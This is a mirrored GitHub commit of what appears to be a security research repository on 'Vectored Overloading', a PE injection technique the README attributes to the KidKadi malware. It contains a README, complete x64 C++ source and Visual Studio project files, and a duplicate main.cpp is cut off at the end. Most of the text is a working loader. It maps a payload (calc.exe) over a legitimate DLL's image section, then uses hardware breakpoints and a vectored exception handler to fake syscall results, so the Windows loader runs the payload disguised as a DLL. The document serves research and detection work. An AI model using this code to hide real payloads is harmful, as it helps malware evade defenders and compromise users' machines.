mirror of
https://github.com/CheckPointSW/VectoredOverloading
synced 2026-06-06 19:44:22 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,19 @@
|
||||
# VectoredOverloading
|
||||
|
||||
Vectored Overloading is a local PE injection technique that was first observed in the *KidKadi* malware.
|
||||
|
||||
It works by manipulating the load of a legitimate DLL using Hardware Breakpoints (HWBP) and Vectored Exception Handling (VEH) to change the DLL section object on-the-fly.
|
||||
|
||||
Essentially, the technique does the following:
|
||||
|
||||
* Creates a `SEC_IMAGE` mapping from a legitimate DLL (e.g. `wmp.dll`)
|
||||
* Maps a payload PE over this image memory
|
||||
* Sets its entrypoint to `0` and forces the `DLL` flag in the `FileHeader->Characteristics` field
|
||||
* Sets a HWBP on `NtOpenSection` & loads any legitimate DLL
|
||||
* When the Windows loader calls `NtOpenSection`, the VEH emulates the syscall by skipping it and replacing the `OUT` parameters, so that section object is now that of the payload. The VEH also sets a new HWBP on `NtMapViewOfSection`
|
||||
* The loader tries to map the section into memory and then triggers the VEH on `NtMapViewOfSection`
|
||||
* The VEH replaces the `OUT` parameters of the syscall and skips its execution, emulating a mapping of the malicious PE's view
|
||||
* The loading proceeds and the Windows loader now takes care of handling imports and further processing of the malicious PE image
|
||||
* The entrypoint is invoked, executing the payload
|
||||
|
||||
For a more detailed analysis, please refer to our blogpost:
|
||||
@@ -0,0 +1,359 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#if defined(_WIN32) && !defined(_WIN64)
|
||||
#error This project must be compiled as 64-bit (x64). 32-bit build is not supported.
|
||||
#endif
|
||||
|
||||
#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)
|
||||
#define DR_TYPE UINT64
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT;
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
|
||||
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);
|
||||
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI
|
||||
NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
|
||||
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(
|
||||
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect
|
||||
);
|
||||
|
||||
enum LdrState
|
||||
{
|
||||
StateOpenSection = 0,
|
||||
StateMapViewOfSection,
|
||||
StateClose
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------------------------------
|
||||
|
||||
LdrState gLdrState = LdrState::StateOpenSection;
|
||||
SIZE_T gViewSize = 0;
|
||||
PVOID gBaseAddress = NULL;
|
||||
HANDLE gSectionHandle = NULL;
|
||||
|
||||
BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
|
||||
{
|
||||
if (ctx)
|
||||
{
|
||||
ctx->Dr7 = 1LL;
|
||||
ctx->Dr0 = (DWORD64)address;
|
||||
NtContinue(ctx, FALSE);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Default to current thread if no context was given
|
||||
CONTEXT context = { 0 };
|
||||
context.ContextFlags = CTX_FLAGS;
|
||||
|
||||
HANDLE hThread = GetCurrentThread();
|
||||
|
||||
if (!GetThreadContext(hThread, &context))
|
||||
return FALSE;
|
||||
|
||||
context.Dr7 = 1;
|
||||
context.Dr0 = (DWORD64)address;
|
||||
|
||||
if (!SetThreadContext(hThread, &context))
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo)
|
||||
{
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
CONTEXT* ctx = ExceptionInfo->ContextRecord;
|
||||
|
||||
switch (gLdrState)
|
||||
{
|
||||
case LdrState::StateOpenSection:
|
||||
{
|
||||
printf("[*] gLdrState == LdrState::StateOpenSection\r\n");
|
||||
|
||||
// Overwrite OUT handle
|
||||
*(PHANDLE)ctx->Rcx = gSectionHandle;
|
||||
|
||||
// Skip syscall
|
||||
ctx->Rax = 0;
|
||||
BYTE* rip = (BYTE*)ctx->Rip;
|
||||
while (*rip != 0xC3) ++rip;
|
||||
ctx->Rip = (ULONG_PTR)(rip);
|
||||
|
||||
// Advance state and set next HWBP
|
||||
gLdrState = LdrState::StateMapViewOfSection;
|
||||
SetHardwareBreakpoint(NtMapViewOfSection, ctx);
|
||||
NtContinue(ctx, FALSE);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
break;
|
||||
|
||||
case LdrState::StateMapViewOfSection:
|
||||
{
|
||||
printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n");
|
||||
if ((HANDLE)ctx->Rcx != gSectionHandle)
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
printf(" Section handle is ours\r\n");
|
||||
|
||||
// Replace OUT parameters
|
||||
PVOID* baseAddrPtr = (PVOID*)ctx->R8;
|
||||
PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
|
||||
ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
|
||||
ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
|
||||
|
||||
if (baseAddrPtr)
|
||||
*baseAddrPtr = gBaseAddress;
|
||||
if (viewSizePtr)
|
||||
*viewSizePtr = gViewSize;
|
||||
|
||||
*allocTypePtr = 0;
|
||||
*protectPtr = PAGE_EXECUTE_READWRITE;
|
||||
|
||||
// Skip syscall
|
||||
ctx->Rax = 0;
|
||||
BYTE* rip = (BYTE*)ctx->Rip;
|
||||
while (*rip != 0xC3) ++rip;
|
||||
ctx->Rip = (ULONG_PTR)(rip);
|
||||
|
||||
// Unset HWBP
|
||||
ctx->Dr0 = 0LL;
|
||||
ctx->Dr1 = 0LL;
|
||||
ctx->Dr2 = 0LL;
|
||||
ctx->Dr3 = 0LL;
|
||||
ctx->Dr6 = 0LL;
|
||||
ctx->Dr7 = 0LL;
|
||||
ctx->EFlags |= 0x10000u;
|
||||
|
||||
NtContinue(ctx, FALSE);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
NtContinue(ctx, FALSE);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL
|
||||
ApplyRelocations(
|
||||
PBYTE base,
|
||||
SIZE_T imageSize,
|
||||
ULONGLONG newBase,
|
||||
ULONGLONG oldBase
|
||||
)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
|
||||
ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;
|
||||
if (!delta)
|
||||
return TRUE;
|
||||
|
||||
IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (!relocDir.VirtualAddress || !relocDir.Size)
|
||||
return TRUE;
|
||||
|
||||
SIZE_T processed = 0;
|
||||
PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);
|
||||
|
||||
while (processed < relocDir.Size && block->SizeOfBlock)
|
||||
{
|
||||
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
for (DWORD i = 0; i < count; i++, entry++)
|
||||
{
|
||||
WORD type = *entry >> 12;
|
||||
WORD offset = *entry & 0xFFF;
|
||||
BYTE* patchAddr = base + block->VirtualAddress + offset;
|
||||
|
||||
if (type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)patchAddr += (DWORD)delta;
|
||||
else if (type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONGLONG*)patchAddr += delta;
|
||||
}
|
||||
processed += block->SizeOfBlock;
|
||||
block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL
|
||||
CopyImageSections(
|
||||
PBYTE sourceBuffer,
|
||||
PVOID baseAddress,
|
||||
SIZE_T viewSize
|
||||
)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);
|
||||
|
||||
// Copy headers
|
||||
SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
|
||||
memcpy(baseAddress, sourceBuffer, headersSize);
|
||||
|
||||
// Copy sections
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
|
||||
{
|
||||
if (sec->SizeOfRawData == 0)
|
||||
continue;
|
||||
|
||||
BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;
|
||||
BYTE* src = sourceBuffer + sec->PointerToRawData;
|
||||
SIZE_T size = sec->SizeOfRawData;
|
||||
|
||||
if ((sec->VirtualAddress + size) > viewSize)
|
||||
size = viewSize - sec->VirtualAddress;
|
||||
|
||||
memcpy(dst, src, size);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL
|
||||
ApplySectionProtections(
|
||||
PVOID baseAddress
|
||||
)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
|
||||
{
|
||||
DWORD protect;
|
||||
DWORD old;
|
||||
|
||||
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
{
|
||||
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
protect = PAGE_EXECUTE_READWRITE;
|
||||
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
|
||||
protect = PAGE_EXECUTE_READ;
|
||||
else
|
||||
protect = PAGE_EXECUTE;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
protect = PAGE_READWRITE;
|
||||
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
|
||||
protect = PAGE_READONLY;
|
||||
else
|
||||
protect = PAGE_NOACCESS;
|
||||
}
|
||||
|
||||
PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;
|
||||
SIZE_T size = sec->Misc.VirtualSize;
|
||||
if (!size)
|
||||
size = sec->SizeOfRawData;
|
||||
|
||||
VirtualProtect(addr, size, protect, &old);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
DWORD oldProt;
|
||||
DWORD bytesRead;
|
||||
|
||||
// Read PE to inject (calc.exe) into buffer
|
||||
HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hCalc == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] Failed to open calc.exe\n");
|
||||
return 1;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hCalc, NULL);
|
||||
BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
|
||||
ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
|
||||
CloseHandle(hCalc);
|
||||
|
||||
// Parse headers of PE to inject
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);
|
||||
|
||||
// Force DLL characteristics and zero out entrypoint
|
||||
DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
|
||||
if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
|
||||
{
|
||||
nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;
|
||||
nt->OptionalHeader.AddressOfEntryPoint = 0;
|
||||
}
|
||||
|
||||
// Create SEC_IMAGE section from wmp.dll
|
||||
HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hWmp == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] Failed to open wmp.dll\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
|
||||
CloseHandle(hWmp);
|
||||
if (status < 0)
|
||||
{
|
||||
printf("[-] NtCreateSection failed: 0x%08X\n", status);
|
||||
return 1;
|
||||
}
|
||||
|
||||
status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
|
||||
if (status < 0)
|
||||
{
|
||||
printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Make headers and image of wmp.dll writeable and wipe it
|
||||
VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
|
||||
memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
|
||||
|
||||
// Copy headers and sections from PE to inject into the section
|
||||
CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
|
||||
HeapFree(GetProcessHeap(), 0, pTargetPeBuf);
|
||||
|
||||
// Apply relocations & section protections
|
||||
ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
|
||||
ApplySectionProtections(gBaseAddress);
|
||||
|
||||
printf("[*] Section ready:\n");
|
||||
printf(" BaseAddress = %p\n", gBaseAddress);
|
||||
printf(" ViewSize = %zu\n", gViewSize);
|
||||
printf(" Section = %p\n", gSectionHandle);
|
||||
|
||||
// Register VEH and set HWBP
|
||||
PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
|
||||
SetHardwareBreakpoint(NtOpenSection, NULL);
|
||||
|
||||
// Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow
|
||||
HMODULE base = LoadLibraryW(L"amsi.dll");
|
||||
if (!base)
|
||||
{
|
||||
printf("[-] Failed to load library\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[*] Loaded at 0x%llx\r\n", base);
|
||||
RemoveVectoredExceptionHandler(InjectHandler);
|
||||
|
||||
// Invoke entrypoint
|
||||
PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
|
||||
printf("[*] Jumping to entrypoint at %p\n", entryPoint);
|
||||
((void (*)())entryPoint)();
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36429.23 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VectoredOverloading", "VectoredOverloading.vcxproj", "{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.Build.0 = Debug|x64
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.ActiveCfg = Release|x64
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.Build.0 = Release|x64
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {5551E9BB-ED31-48B9-8057-1CE8FD010B60}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,131 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{b6eb6c3e-7aef-4c18-84ea-b75bb64e5df1}</ProjectGuid>
|
||||
<RootNamespace>VectoredOverloading</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,353 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#if defined(_WIN32) && !defined(_WIN64)
|
||||
#error This project must be compiled as 64-bit (x64). 32-bit build is not supported.
|
||||
#endif
|
||||
|
||||
#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)
|
||||
#define DR_TYPE UINT64
|
||||
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT;
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
|
||||
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
|
||||
|
||||
enum LdrState
|
||||
{
|
||||
StateOpenSection = 0,
|
||||
StateMapViewOfSection,
|
||||
StateClose
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------------------------------
|
||||
|
||||
LdrState gLdrState = LdrState::StateOpenSection;
|
||||
SIZE_T gViewSize = 0;
|
||||
PVOID gBaseAddress = NULL;
|
||||
HANDLE gSectionHandle = NULL;
|
||||
|
||||
BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
|
||||
{
|
||||
if (ctx)
|
||||
{
|
||||
